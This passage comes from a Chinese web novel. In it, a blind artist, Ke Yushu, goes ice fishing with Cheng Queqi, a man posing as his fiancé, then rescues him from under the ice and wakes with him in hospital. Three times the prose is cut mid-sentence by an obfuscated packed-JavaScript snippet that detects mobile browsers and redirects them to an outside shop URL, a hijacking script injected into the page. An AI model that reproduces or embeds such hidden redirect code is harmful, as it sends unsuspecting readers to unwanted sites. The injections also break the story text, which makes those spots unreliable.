程雀枝看着他,忽然问:“玉树知道Ye先生吗?” 空气忽然凝聚。 柯玉树不动声色地反问:“怎么忽然问这个?” 程雀枝心下了然。 “你认识他。” 柯玉树点头说:“嗯,我认识他,是朋友。” 他不知道程雀枝为什么会突然提起Ye,暂时以朋友为借口,然而程雀枝似乎完全不惊讶,柯玉树顿时心生疑惑。 程雀枝放下手中的活计,最后一遍检查鱼汤后盖上锅盖,给自己倒了一碗姜茶。 “Ye先生居然是玉树的朋友吗?我其实也不是很了解Ye先生,只是我的小弟是他的粉丝,在国外追了快十年,如果玉树方便的话,能否将他引荐给我小弟?” 程雀枝开始主动出击了。 他刚才不让柯玉树把纱布戴回去,就是想从柯玉树的表情,判断他话语的真假。 柯玉树想了想,才说:“他啊?我跟他只是普通朋友,况且他神出鬼没的,我也经常联系不上他。” 程雀枝紧紧盯着柯玉树,不放过他脸上任何一个表情。 这话说的没问题,Ye先生失联是常态,程雀枝松了口气,因为柯玉树的表情没有异常。 如果玉树真的喜欢Ye先生,他一定会露出些许破绽,如果Ye先生也喜欢玉树,又怎么会让他联系不上自己? 如果是程雀枝,他一定会24小时手机待机,接听柯玉树的电话。 这样一来,程雀枝觉得自己的赢面更大了,他轻笑一声:“是吗?那可太遗憾了。” “听你声音不像是遗憾的样子,怎么忽然提起了Ye先生?” 柯玉树开始反击。 程雀枝的手紧扣着茶杯,又缓缓松开:“我……小弟以前和我关系挺好的,他给我看过Ye先生曾经的作品,就是那一幅《眼湖》,刚才看了你的眼睛,像是一个模子出来的。” 所以他敢笃定Ye先生一定和玉树认识。 《眼湖》是Ye先生的著名作品之一,是Ye先生获奖路上的里程碑,了解Ye先生的人自然不会没看过这幅画。 这幅画,画的是一只十分漂亮的眼睛,漂亮到惊人,无论是哪个弧度都完美无缺,令人看一眼就会喜欢上这幅画。 眼睛中的颜色,是能令所有人溺毙的颜色,据说Ye先生将出现在人瞳孔中的所有颜色都组合在了里面,混在一起,却又不杂糅,令人惊艳无比。 柯玉树点头。 “《眼湖》啊……” 他像是思考了一会儿,才说:“好像是以我为参考画的,不过那都是好些年前的事了,那段时间我在国外和他刚认识,不值一提。” 柯玉树又饮了一口奶茶,将这个话题终结了。 真是孽缘。 现在他说跟Ye先生是朋友关系,又会惹来很多麻烦,程雀枝虽然有时候不太正常,但正常人能想到的,他一定会想到。 “既然你和Ye先生是朋友,为什么不解释抄袭的事呢?” 程雀枝果然问了这个问题。 柯玉树忽然有个想法,既然程雀枝看不惯自己“抄袭”的做法,甚至心理扭曲到把他当猴耍,那他也完全可以借此反击。 既然程雀枝是自己的粉丝,那他这个正主可要开始虐粉了,因为小叶曾经说过,毒唯仅对真嫂子破防。 要是这个真嫂子,程雀枝也喜欢呢? 柯玉树说:“我……我现在和他没什么关系了。” 他话说得含含糊糊,甚至有些躲闪,程雀枝立刻就发现了不对劲,一颗心立刻提了起来。 难道说他的偶像Ye先生对玉树做了什么吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006728|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “为什么,玉树,为什么忽然和Ye先生没什么关系了?”程雀枝声音很着急,“告诉我吧,我是你的未婚夫,你什么都可以告诉我,我也想帮助你。” 柯玉树摇头。 “不用,我和他之间的事早就过去。” 程雀枝更加笃定自己的想法了。 肯定是Ye先生曾经向他告过白!因为柯玉树只对曾经对他告过白的人疏远,对其余人完全是当陌生人。 Ye,你! 果然! 程雀枝气得牙痒痒,猜测被印证,但毕竟是他崇拜了这么多年的人,恨又恨不起来,骂又不舍得骂,一时间竟不知道做什么反应。 心里空落落的。 粉了十年的偶像和他喜欢的人,居然有这样的渊源,程雀枝嘴中泛起了几分苦涩的意味。 对面的柯玉树似乎久久等不到他的回应,摸索着握住他的手,问:“怎么了?是吃醋了吗?” 程雀枝呆呆看着他,忽然点头说:“嗯。” 他这也算是吃醋吧? 柯玉树却摇着他的手指,声音又轻又柔:“不过是以前发生的事,没有什么,现在我唯一喜欢的人只有你,程栖山。” 程雀枝:“……” “是喜欢以前的我还是现在的我?” 柯玉树含笑端水:“都喜欢。” 程雀枝:“……” 他心中特别不是滋味,又忽然想嘲讽自己的自作多情,所以,他这段时间做的所有事,全都落到了程栖山身上吗? 要是程栖山醒来直接顶替了程雀枝,程雀枝大概会把自己气死! 他觉得自己不能再忍了,特别是玉树还靠近他,缓缓诉说程栖山的好:“程栖山,你很好,我初次见到你的时候,就觉得你是个优雅的绅士,所有人都站在我的对立面,只有你说要帮我。虽然抄袭这件事情无解,又牵扯到你的弟弟,你无能为力,但我真的很感谢你,理解你。” 所以柯玉树是十分满意未婚夫的,此处指未婚夫程栖山,如果没有发生那么多乱七八糟的事,他和程栖山可能都已经结婚了,相敬如宾。 有关程栖山的事,程雀枝一个字都不想听,柯玉树却还要说:“还有,你照顾我到现在,甚至还帮了小叶那么多忙,我都不知道该怎样回报你,所以不要吃醋,只要你不犯什么严重的错误,我都会原谅你。” 程雀枝有些麻木:“什么严重的错误?” “比如欺骗啊,不顾我的意愿啊,或者威胁我的家人。”柯玉树微笑着说。 程雀枝忽然感觉冷汗直冒。 “那,那我让程雀枝去澄清一下,公布他是借鉴Ye先生的那幅画,你也是在借鉴,没有什么抄袭的事!” 他迫切想要为柯玉树做点什么事,却没想到柯玉树依旧摇头。 “不用了,我不想公布和Ye先生的关系,很麻烦,不要为难我呀亲爱的。” 程雀枝眼中的光芒逐渐黯淡下去,他一时间不知道能为柯玉树做些什么,因为他知道,他能做的柯玉树都不屑去要,也都不想要。 忽然,一阵破水声吸引了两人的注意,程雀枝连忙来到冰洞前面,柯玉树也走了过去。 再起水声,两人立刻反应过来,这是有鱼咬钩了! 34.冰钓下 34 “听声音是条大鱼,握紧竿子,注意别让鱼逃了,给我个形容。”柯玉树说。 程雀枝照做:“鱼的背部是蓝绿色的,侧线有红纹,身上有黑斑,大概有……” 艺术生很善于描述色彩和形状,柯玉树立马就反应出来是什么品种,说:“是虹鳟,把抄网抓在手里,这种鱼爆发力强,容易跳水,你先别忙着往上扯,轻提一下竿子。” 虹鳟鱼,这是程雀枝第一次钓到这么有名的鱼类,他激动得不行,柯玉树却用专业的指导让他冷静下来。 程雀枝按照柯玉树说的,轻轻提了下鱼竿,确定手感后说:“鱼钩刺深了,接下来呢?” “斜着把杆子立起来,大概六十度左右的夹角,不要拉成直线,否则会被切线。”柯玉树知道程雀枝一时间空不出手来,他抓过抄网在旁边守着,“先溜一圈,别慌,它逃不了。” 认真的男人很有魅力,程雀枝狂跳不止的心也安静下来,这是柯玉树第二次带给他安心的感觉。 “好,怎么溜它?” 柯玉树:“……” 答应得好好的,连怎么遛鱼都不知道,真不愧是程二少爷,还要手把手教。 于是柯玉树左手握着抄网,右手握住程雀枝握着鱼竿的手,“跟着我做。” 柯玉树教程雀枝怎样让鱼泄力,一收一拉全是技巧,程雀枝感觉手下的鱼竿像是忽然活了起来,不像刚才握着那样吃力,鱼竿下面的鱼也被柯玉树玩得团团转。 即便柯玉树现在是盲人,却依旧像是能看见似的,对冰河下面的鱼了如指掌,程雀枝被他这副模样完全吸引了注意力。 “别发呆。” 柯玉树的话换回了程雀枝的神智,他用鼻子嗯了一声。 “注意!” 忽然,青蓝色的鱼破水而出,又扇了程雀枝一脸冰水,他被冻得一个激灵,差点大叫出声。 旁边早有准备的柯玉树却早就跳到了一旁,“别叫,用抄网!” 柯玉树把抄网丢给程雀枝,程雀枝连忙把鱼竿一丢,抓着抄网去捞那条虹鳟,他准头很好,鱼落入网中后便被甩到帐篷的地面,蹦跶,啪嗒啪嗒,十分鲜活。 这一甩带着十足的怨气。 柯玉树这才围拢了过来,从始至终他身上都没有沾上什么水,干干净净,程雀枝却一脸的冰水,但他也顾不得擦拭,蹲在地上观察那条虹鳟,忽然开心得大叫:“玉树,好大呀,这条鱼有……” 他伸出手比划了一下,“有六十公分,五斤多了!” 平时阴暗的程雀枝很少有这么鲜活的样子,柯玉树的唇角也不由自主勾了起来,含笑夸赞:“不错,做得好,你很有天赋。” 明明是个二十出头的小子,平时都是一副愤世嫉俗,怨天怨地的阴暗模样,柯玉树到现在才在他身上发现了少年的影子。 这样才对嘛。 程雀枝难掩激动,他知道为什么钓鱼佬这么爱钓鱼了,他感觉自己也即将加入钓鱼佬大军。 玉树带他~ 柯玉树说:“这么大条,直接碳烤吧,头和骨头做汤,这是高原常见的做法。” 程雀枝没有异议,他又把鱼竿放好,然后开始处理这条虹鳟,甚至心情颇好地哼起了歌。 “这么开心吗?”柯玉树问。 程雀枝似乎有些羞涩,低低嗯了一声。 和玉树单独相处,他自己的本性也逐渐释放,不再学程栖山沉闷的性格,也不再像从前那样,竖起一身的尖刺保护自己,因为柯玉树带给了他安全感——未知的知识和技能,还有无条件的偏爱。 程雀枝从前想的柯玉树,完全是依附他人的菟丝花,整天柔柔弱弱的,可是现在了解到真正的玉树,程雀枝觉得玉树真的好可爱,好厉害呀。 他这么厉害。 完全不与自己相配,是自己配不上他。 程雀枝眼中划过一抹狠戾。 配不上又怎么样?他足够贪心,就一定配得上。 “你喜欢钓鱼就好,以后咱们可以常来,特别是等我眼睛恢复了以后,能教你更多技能,咱们出海,或者去更高的地方。”柯玉树说。 他似乎是真的在安排两人的余生,年长者从来都是向未来看的,年岁不大的程雀枝一时语塞,又闷闷地说了句:“嗯,我知道了。” 他兴致不太高,柯玉树也就没有继续说下去。 程雀枝处理好战利品,将肉腌上盐和胡椒粉,又去煎骨头和鱼头。 “刚才的汤还没喝呢。”柯玉树提醒。 程雀枝扫了一眼之前钓上的鱼做的汤,那条鱼其实并不大,熬出来的鱼汤也不够奶白,于是他加大了火,将鱼汤收汁。 “没多少,我一口就能喝完,玉树喝这条鱼的。” 他想要玉树喝更好的汤。 柯玉树:“行。” 程雀枝熬的鱼汤十分鲜美,这其中虽然免不了野生鱼类的加成,但程雀枝本身的厨艺也是不错的,如果没有发生以前那些破事,柯玉树真的想聘他当厨子。 他居然有些期待这条寻常的虹鳟鱼。 鱼肉腌制了十分钟左右,程雀枝将其码上烤架,再刷上柠檬、花椒粉和孜然调制的酱料,香味立马就冒了出来。 “好香啊。”柯玉树说。 “你喜欢就好,鱼肉先放在架子上烤着,注意别烫到了,待会好了,我再放在你盘子里。”程雀枝说。 他又去把煎好的鱼头和鱼骨放进炖锅,之前那条鱼的鱼汤收汁,盛了一小碗,程雀枝端在手里一口气全给喝完了。 柯玉树依旧捧着保温杯里的茶,奶茶他喝完了,杯子里是刚刚熬好的姜茶,捧在手里也能驱寒供暖。 两人耐心等着碳架上的鱼肉烤好,期间又钓上了几条鱼,但是这条五斤多的虹鳟已经够吃了,程雀枝干脆将其他鱼养在箱子里,准备带回家去。 柯玉树静静听着帐篷外雪落的声音,不知不觉已经到了夕阳,程雀枝看他朝着帐篷门口,打开帘子,把已经烤好的鱼肉和鱼汤摆到门口。 和柯玉树并排坐着。 程雀枝把鱼肉切块放到柯玉树面前的盘子里,鱼汤也盛了小小的一碗,就放在盘子右上角,柯玉树伸出手就能碰得到,可以说是面面俱到。 “今天的夕阳很美,”程雀枝给柯玉树描述自己见到的景色,“就像是Ye先生那幅《分离夕景》一样,是暖黄色的,也在雪山上。” 用两人都看过的画作描述,是个很不错的方法,特别是《分离夕景》还是柯玉树亲自画的画。 柯玉树抬头,眼中依旧一片空茫:“嗯,那我就能想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011671|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象了,一副很有故事的画。” 《分离夕景》这幅画,是柯玉树在国外快过不下去的时候画的,他那时候到滑雪场打工,差点冻死在酒馆的库房,却没想到是本应在国内的小叶找到了他。 柯月叶独自一人出国,在那片雪原地区找了四个酒馆,把自己身上带着的所有零钱都给了柯玉树。 少女的眼睛倒映着夕阳雪山,她说:“哥,他们停了我卡里的所有钱,但是没关系,我刚卖了相机和所有收藏品,可惜只有三十来万……没关系的,没关系,哥,你等我,我会再想办法。” 少女漂亮的脸被冻伤,她的笑容却依旧温暖动人,那幅场景柯玉树永远刻在脑海,所以画下了这幅画,却没想到被后来的老师克里斯汀一眼看中。 这幅画是他早期的作品,程雀枝居然知道,难道说他真是自己的十年老粉? “玉树,你在想什么?”程雀枝忽然问。 柯玉树回答:“小叶。” 程雀枝愣了一下,然后脸上闪过一抹不自在,随即又松了口气,玉树应该不知道自己曾经打算绑过他的妹妹。 “怎么忽然想到小叶了?” “我想起她手下还有批颜料要过西索战区,只是被当地政府卡住了。”柯玉树说。 这批货被卡住的事,柯玉树听她手下人偶然提起才知道。 虽然程雀枝他们给了柯月叶人脉,但过西索战区的权限太高,柯月叶要欠一屁股的人情,对以后发展不利,既然可利用对象就在眼前,柯玉树当然不会放过。 话音刚落,程雀枝的眼睛果然亮了起来。 他的活儿来了。 “这事儿啊,好吧,我马上打电话过去让他们放人,西索这条线从此完全对小叶开启,不用担心再被拦下来。” 柯玉树惊喜道:“真的吗?会不会太麻烦你?” “当然不麻烦,只是送一批颜料而已,但是玉树,西索这条线要路过战区,小叶往这里走会不会有些危险?”程雀枝问。 他看得出来玉树很在意他这个妹妹,要是柯月叶出了点什么,是玉树肯定会担心。 柯玉树把头转回来,面朝远处的雪山。 他们要的就是走战区。 “小叶曾经做过战地记者,不用担心。”柯玉树说。 所以柯月叶才能有那么多相机可以卖,把卖相机的钱送他这里解决燃眉之急。 程雀枝惊讶道:“战地记者吗?你们兄妹俩都很厉害。” 柯玉树对此避而不答,开始认真啃烤鱼。 碳烤的鱼外壳被烤得很脆,也锁住了内里的水分,柯玉树盘子里的鱼是程雀枝提前给他分好小块切好了的,肉汁鲜美。 柯玉树评价:“味道真不错,很少吃到口感这么好的虹鳟了,未婚夫你不会是米其林三星厨子吧?看来你已经抓住我的胃了。” 程雀枝手中的叉子停了一下,他心中又温暖又酸涩,脸颊也浮现一片粉红,低声说:“嗯,真抓住你的胃就好了。” 抓住一个人的心,就要先抓住他的胃,倘若他真的把玉树的胃抓住了,是不是意味着玉树对他也是有一点点动心的? 程雀枝像是忽然见到了希望。 如果时间再久一点,或许玉树真的会为自己动心。 他开始期待。 35.冰钓完 35 两人分食完鱼肉,又喝了鱼汤暖身体,十分舒坦。 夕阳逐渐变红,程雀枝欣赏着这美好的景色,心情颇好,更令他开心的是,旁边还有他喜欢的人。 “帮我拍张照吧。”柯玉树说。 “嗯?好,我马上去拿相机。”程雀枝说。 程雀枝没有拍照的习惯,即便是出去旅游,也只是自己欣赏,因为他没有义务把美景分享给旁人。至于记录,倘若他真的忘记了这些景色,说明景色不够令他心动。 但不知为什么,出门的时候程雀枝还是带上了相机。 因为他居然会害怕遗忘,害怕这么美的雪地夕阳和冰湖上的玉树,会成为记忆中斑驳的老照片,最终什么都想不起来。 “这个位置怎么样?构图和光影都还ok吗?”柯玉树问。 他站在一棵松树下面,盲杖点在松软的土地上,后面是石桥,旁边就是冰层。 “位置还行,只是你要小心雪落到身上。”程雀枝说。 他调整角度,却在镜头中看到柯玉树摇摇头。 “既然这样,那就换个位置吧,你在这里,我去对面。” 柯玉树拄着盲杖到了十米开外,依旧踩着松软的土地,旁边是落满了雪的松树,确实是个好位置。 程雀枝被留在桥边的冰面上,左右移动找完美角度,但玉树怎么拍都完美,咔咔咔,拍了几十张照片。 “对,这里也不错,对,我再往旁边移一下,换个姿势,嗯……玉树你先等一等,我去桥上,那个地方的角度比较好。” 柯玉树也配合着他调整姿势和动作,他们一个站在桥上,一个站在桥下,隔了不远不近的距离。程雀枝看着小小相机里的柯玉树,他忽然感觉他们现在就像是一对普通情侣,嘴角勾起了甜蜜的微笑。 然而站在对面的柯玉树,心中却升起了几丝哀怜。 小可怜,留些照片给你,就当交换了。 柯玉树微微勾起唇角,那表情在夕阳的照耀下,居然有些圣母怜子图的神圣感觉,程雀枝站在桥上用相机定格这一幕,心跳得飞快。 他快速跑下桥,往柯玉树的地方走:“玉树玉树,刚才你那个表情真的绝了,我拍下来了,我和你讲——” 他的话戛然而止。 程雀枝只感觉眼前场景变换,身体失重,下一刻,他的手肘触碰到冰面,相机飞了出去。 而他自己,却直直坠入冰洞之中! 失重感持续了不到半秒钟,激烈的水声就充斥了程雀枝的鼻腔耳膜,刺骨的寒意从他的领口灌进来,铺天盖地包裹住了他整个人。 程雀枝慌乱地挣扎着,隐约听到了柯玉树的声音,却全被挣扎起的水声掩盖。 恐惧、失重感让程雀枝慌乱地想要向上浮,但身体总是控制不了地下坠,寒冷几乎冰冻了他的四肢,原本会水的程雀枝,此刻却像是个被绑住的囚犯,只能看着洞口离他越来越远。 救命…… 越是挣扎,越是无力,程雀枝睁不开眼,他用尽全力向上浮,终于来到水面的位置,伸出双手一撑,然而他的头顶上方,居然是冰层! 此刻的程雀枝已经四肢僵硬,仅仅不到半分钟他就呛了好几口水,动也动不了,只能任由寒冷侵蚀他的身体。 被封住了最后的生路。 最后,他用尽全力向上顶,却发现还是找不到洞口,眼睛里的光芒也在渐渐暗淡下去,此刻的他只看得到深蓝的海水,还有令他眼花缭乱的水泡。 他是真的绝望了,无论做什么都是无用功,刺骨的寒冷侵袭着他的理智,甚至呼救都不行。 因为程雀枝完全没有指望过柯玉树这一个盲人来救他。 玉树要是发现了,最多打电话叫急救人员过来,不过那时候他应该已经是一具被冻硬的尸体了。 他该死了。 可是他死了之后,玉树怎么办? 如果玉树知道一直陪在他身边的人是自己,会生气吗?会伤心吗? 可那时候他已经死去了,玉树会觉得畅快吧,毕竟他程雀枝就是这样一个令人厌恶的骗子,小偷。 他才是真正的小偷。 忽然,程雀枝若有所感扭头,他的眼睛已经看不见了,但下意识还是向一个方向望去,因为他听到了落水声。 忽然,一只温暖的手握住了程雀枝的手腕,将他用力向一个方向拉过去,还没完,下一刻,代表生机的氧气被渡入口腔,带着温暖而潮湿的味道。 即便此刻程雀枝已经意识模糊,却也下意识吞噬着到嘴边的氧气,温暖的唇舌在接触到他的瞬间,就已经变得冰凉,然而对面的人却完全没有推开程雀枝,而是任由他汲取着生命资源。 是…… 谁? 程雀枝呆愣愣的,似乎看到了一张他梦寐以求的美人脸,然后在下一秒,彻底失去了意识。 …… 柯玉树把程雀枝随意丢在冰面上,然后用力眨了一下眼睛,眼前似乎泛起了一圈一圈的光晕,还看得见浅蓝色的雪山。 柯玉树轻轻啧了一声,又用力甩头,他承认,在听到程雀枝坠河的那一瞬间,他确实是心慌了,却没想到这短暂的心慌,居然刺激得他双目又暂时复明。 现在程雀枝的脸在柯玉树面前若隐若现,他蹲下身来,又用力眨眨眼,终于看清楚了那张发青的脸。 程雀枝…… 心跳声大了些。 柯玉树把人拖进帐篷,确定只是失温后,把程雀枝上上下下脱个精光,囫囵擦了一下就丢进了睡袋里,然后把自己唯一干着的棉衣盖到了睡袋上面。 帐篷里的火炉依旧燃烧着,木炭忽然蹦出一个火星,柯玉树这才发现自己也湿了,幸亏程雀枝事先准备的衣服不吸水,柯玉树跳得快,出来的也快,里面的衣服没有全湿。 他也还是脱了个精光,又找了件干燥的外套披在身上。 往火炉里又丢了好几块木炭,柯玉树把衣服放在旁边烘烤,然后把快要冷掉的姜茶倒进锅里加热。 帐篷渐渐暖和了起来,香味弥漫。 柯玉树做这些事的时候,全程冷脸,他有些烦躁,莫名其妙出现的心跳干扰了他的判断,只能靠做这些事来分散注意力,压制住心中的感情。 柯玉树手脚很利索,不一会儿姜茶就被加热得差不多了,他倒了两大杯,一杯放着,另一杯自己小口小口喝完,才拿起手机,给柯月叶提前安排的人打电话。 “把医生叫上来,急救,有人落水了,现在是失温状态。” 对面的人一头雾水,柯玉树直接挂断了电话,他并不担心这些人找不过来,小叶派来的人都是专业的。 当务之急是先把程雀枝的命吊住。 另外一杯姜茶差不多可以入口,柯玉树把人从睡袋里挖出来,打算给程雀枝灌进去,只是刚一出睡袋,程雀枝顿时感觉浑身发冷,柯玉树靠近,程雀枝就抓着热源不松手。 他现在的力气大得吓人,有好几次差点把柯玉树手上的姜茶给干洒。 “啧。” 柯玉树狠狠皱眉,干脆饮下一大口姜茶,然后捏着程雀枝的下巴,全部渡过去。 火热的唇舌强硬撬开自己的嘴,程雀枝这回不躲了,他贪婪地吮吸着来之不易的热源,裸露在外的肌肤仍然让他不安,干脆扯开了柯玉树的棉衣。 柯玉树:“……” 他只披了件棉衣,里面是真空的,程雀枝直接贴到了白皙有力的胸膛上。 一个大大的熊抱。 两人就这样赤裸着相贴,不过好在帐篷里足够温暖,柯玉树又捏着下巴渡了几口姜茶,程雀枝的身体这才回暖。 柯玉树:“……程雀枝,你真行。” 唇瓣分开,银丝勾连,程雀枝对柯玉树腰腹那层薄肌爱不释手,上下其手,神志不清了都要占便宜,表情迷乱地又去亲柯玉树。 唇瓣碰一下,又碰一下,他已经变成了傻子。 忽然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015883|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帐篷从外面打开,交缠的银丝断开,柯玉树侧头与来人对视。 “你还是来了,小花。” 庭华看着半裸的柯玉树,胸口白皙的肌肤大片大片敞开,几乎刺目。 庭华狠狠皱眉,然后大步走过来扯开程雀枝,把人塞进睡袋里,又嘟囔着拢好了柯玉树的衣裳。 “干什么呢?干什么呢?” 柯玉树:“……” 庭华注意到柯玉树还没有干的长发,高声问:“你真跳下去救他了吗?!” 柯玉树点头。 “我没想到那个洞居然这么大,程雀枝被困在了冰层下,搞不好要闹出人命。” “可你现在是个瞎子啊,柯玉树你疯了吗?!” 这是庭华第一次这么大动肝火,几乎要破音,他一把拉过柯玉树的手腕号脉,脸色冷硬得像是西伯利亚的冻土。 柯玉树轻声问:“小花,你难道没有发现吗?我的眼睛——” 只是话说到一半,他忽然低下头去,因为眼前又变成了浑浊的一片,最后,彻底失去光芒。 “刚才好过。”柯玉树默默补充。 庭华:“这也不是你跳河的理由,难道你跳河前眼睛就好了吗?” 他是真的气不打一处来,偏偏柯玉树不回答,庭华更气了。 “寒气入体,你就等着生病吧!” 庭华狠狠甩开柯玉树的手,柯玉树顺势倒在椅子上,用毛毯盖住自己的腿。 “给程雀枝看看?”他问。 庭华:“我看他?我看个屁!你先把毛衣穿上。” 一件带着体温的毛衣兜头罩下,柯玉树摸索着接过,还是柔软的兔子毛。 他把毛衣捏在手上,听到睡袋再次打开的声音,一笑。 小花虽然嘴上这么说,但还是给程雀枝把脉了嘛。 于是柯玉树当着这两人的面,又把棉衣脱了,将庭华给他的毛衣贴身穿上。 “拜托,柯先生,我在看着哇,你能转过去吗?”庭华咬牙切齿。 “这有什么?我们是朋友。”柯玉树拉好棉衣的拉链,“毛衣很暖和,谢谢,急救车应该要到了,你还要待在这里吗?” 庭华:“……不了,他出不了什么大事,只是被冻晕了,不过他比你在水下待得久,绝对要生一场大病。” 柯玉树点头。 庭华又扫了眼桌上的姜茶,阴阳怪气:“你还知道喝这个啊?” “小花……”柯玉树一脸无奈。 庭华:“停停停,我只是过来看一眼而已,走了。” 他直接起身打算离开,带过一片冷风吹拂柯玉树的面庞。 柯玉树双眼迷茫,等着他离去。 庭华却希望柯玉树忽然抓住自己的手臂,让他留下来,或者让他带他走。 但是这都是奢望。 他从来没见过柯玉树这副模样,跟前面六个缪斯都不一样,现在这个哪怕不是真正的程栖山,却也让柯玉树不再排斥。 不排斥意味着什么,显而易见,甚至甘愿冒着生命危险跳河救人。 庭华只感觉胸口像是空了一块,一直以来莫名其妙的坚持全数崩盘,背部的伤口隐隐作痛,他回想起这些日子做的荒唐事,庭华嗤笑一声。 或许,他需要放手了,可即便放手柯玉树也无动于衷。 “注意安全。”柯玉树只会这样说。 庭华掀开帐篷的帘子,看着盘山公路上疾驰而来的急救车。 “柯玉树,曾经我真的希望你可以依赖我一些,如果你想杀人,我愿意做你的帮凶,而不是当一个后知后觉的看客,但现在……” 门帘被放下,庭华的话消散在风里,柯玉树忽然有种手中流沙消逝的感觉。 没过多久,帐篷再次恢复温暖,柯玉树静静坐在椅子上,神情晦暗不明,像是一台评估数值的锚定器。 忽然,他轻轻叹了一声,不知道是对谁说的。 “那又是何必呢?” 36.倦鸟归巢 36 柯玉树摸到程雀枝的睡袋旁边,把人扶起来靠在自己肩头,用仍然有些冰凉的手,捏了捏程雀枝的脸颊。 “原来……你长这样啊?” 感受着程雀枝的脸部轮廓,柯玉树回想起程雀枝的脸,线条与画面一点点重合,他唇角忽然勾起一抹浅浅的笑容,比以往都要真实。 “程雀枝,你完了。” …… 大批急救人员进入河道,沿着冰面上的水痕,找到了两人身处的帐篷,掀开帘子,就看到两个湿漉漉的男人靠在一起。 程雀枝的保镖连忙喊:“医生,医生,快救救他!” 柯玉树虚弱地睁开眼:“你们终于来了……快……快救我的未婚夫,先救……他。” 说完就晕了过去。 医生对程雀枝简单进行了急救,随后两人送到了私立医院,留下保镖和雇佣兵面面相觑,他们一半人跟着医生去医院了,一半人自然要留下处理帐篷和各种物品,还有善后。 “现在怎么办?” “还能怎么办?报给程先生啊!” 现场一个能拿主意的都没有,要是这两位真的出事,他们没谁能逃得了! 急救车远去,景区的工作人员在旁边哨岗闲聊,几个看上去像是游客的人停留在平台,向下望。 为首的男人轻轻按了下耳机。 “是的女士,先生亲自跳进河里救了人……不,不是程栖山,是……程雀枝。” 有爆炸声传来,响彻平台,男人的耳朵差点炸开,接着是女人冷淡的声音。 “给我继续盯着,有什么事都听哥的。” 子弹擦过耳机,她挂断了电话。 …… 程雀枝感觉自己像是被浸没在了冬日的温泉里,温暖的水从喉咙向四肢蔓延,传递了热量,但更火热的是手下的触感。 他触碰到细腻的肌肤,血脉鼓动有力。 很舒服。 有温暖的舌头在唇间游走,强行驱赶了他身体里的所有寒冷,也唤回了他的神志,将他从死亡边缘拉了回来。 而他,在失去意识之前见到的最后一个人是…… “玉树!” 程雀枝猛然睁开眼。 玉树眼睛看不见,怎么能跳进冰洞来救他?自己甚至完全没有向玉树呼救,他怎么救的自己? 程雀枝环顾四周,发现自己在私人医院的病房里,而旁边病床上静静躺着的,正是他心心念念的柯玉树! “少爷!”保镖连忙进来,按住想要下床的程雀枝,“少爷,您在输液,小心手!” 程雀枝的眼中只有柯玉树,连忙问保镖:“玉树怎么了?他怎么了!” 保镖小声解释:“柯先生现在的身体很健康,他体质比您好,待在水下的时间比您短,只是睡着了而已。” 程雀枝:“……” 他默默放小声音。 “我知道了,放开,我只是去看看他。” 保镖这才放开按着程雀枝的手,一脸担忧地看着他下床,依旧很不赞同。 程雀枝的脚刚触碰到地面,居然整个人向旁边栽倒过去,早有准备的保镖连忙把他接住,扶到了床上。 程雀枝只感觉天旋地转,四肢发软,有意识的时候已经坐到了床上,他这时候才想起问自己的状况,虚弱开口:“我怎么了?” 还特意压低了声音,免得吵醒正在睡觉的柯玉树。 保镖:“少爷,您睡了三天,高烧加肺炎。” 程雀枝:“……” 所以现在是玉树没出事,他病倒了? 程雀枝忽然觉得有些魔幻,他一向都认为玉树身体虚弱,而他身体强健,一次能打十个,没想到跳一次冰河就虚成这样。 程雀枝向保镖伸出手。 “出去说。” 他有很多问题想问。 保镖连忙取下吊瓶,把少爷扶上轮椅。 两人动作极轻,几乎没有发出什么声音来,病房的门被咔嚓一声关上,原本已经睡着的柯玉树慢慢伸出手,为自己戴上蓝牙耳机。 手机屏幕亮起。 “喂。” …… 走廊一片寂静,这一层是VIP楼层,只有两间病房,另一间没人住,空荡荡的。 保镖抱着巨大的毯子,把已经快要喘不上气的少爷盖得严严实实,两人一站一坐在走廊谈话。 得知病人醒来的医生又气又急,赶来说:“程先生你怎么出来了?要是晕倒了怎么办?快回床上躺着啊!” 程雀枝却摇头,“我有问题想问,玉树还在里面睡着,不好打扰他。” 医生:“……” 谁是病人? 程雀枝扫了眼医生,问:“为什么要把我和玉树安排到一间病房?” 医生:“…………” 还怪上他了吗? 保镖小声解释说:“少爷,是您抓着柯先生的手不放,不肯让医生扎针,柯先生才留了下来,否则他早就能出院了。” 程雀枝:“……” 短短几分钟,他居然沉默了三次,却完全没有生气,心反而像气球那样鼓胀起来。 程雀枝阻止了医生推自己回病房的动作,对保镖说:“讲,把所有经过都讲给我听,不要漏掉任何一点细节。” 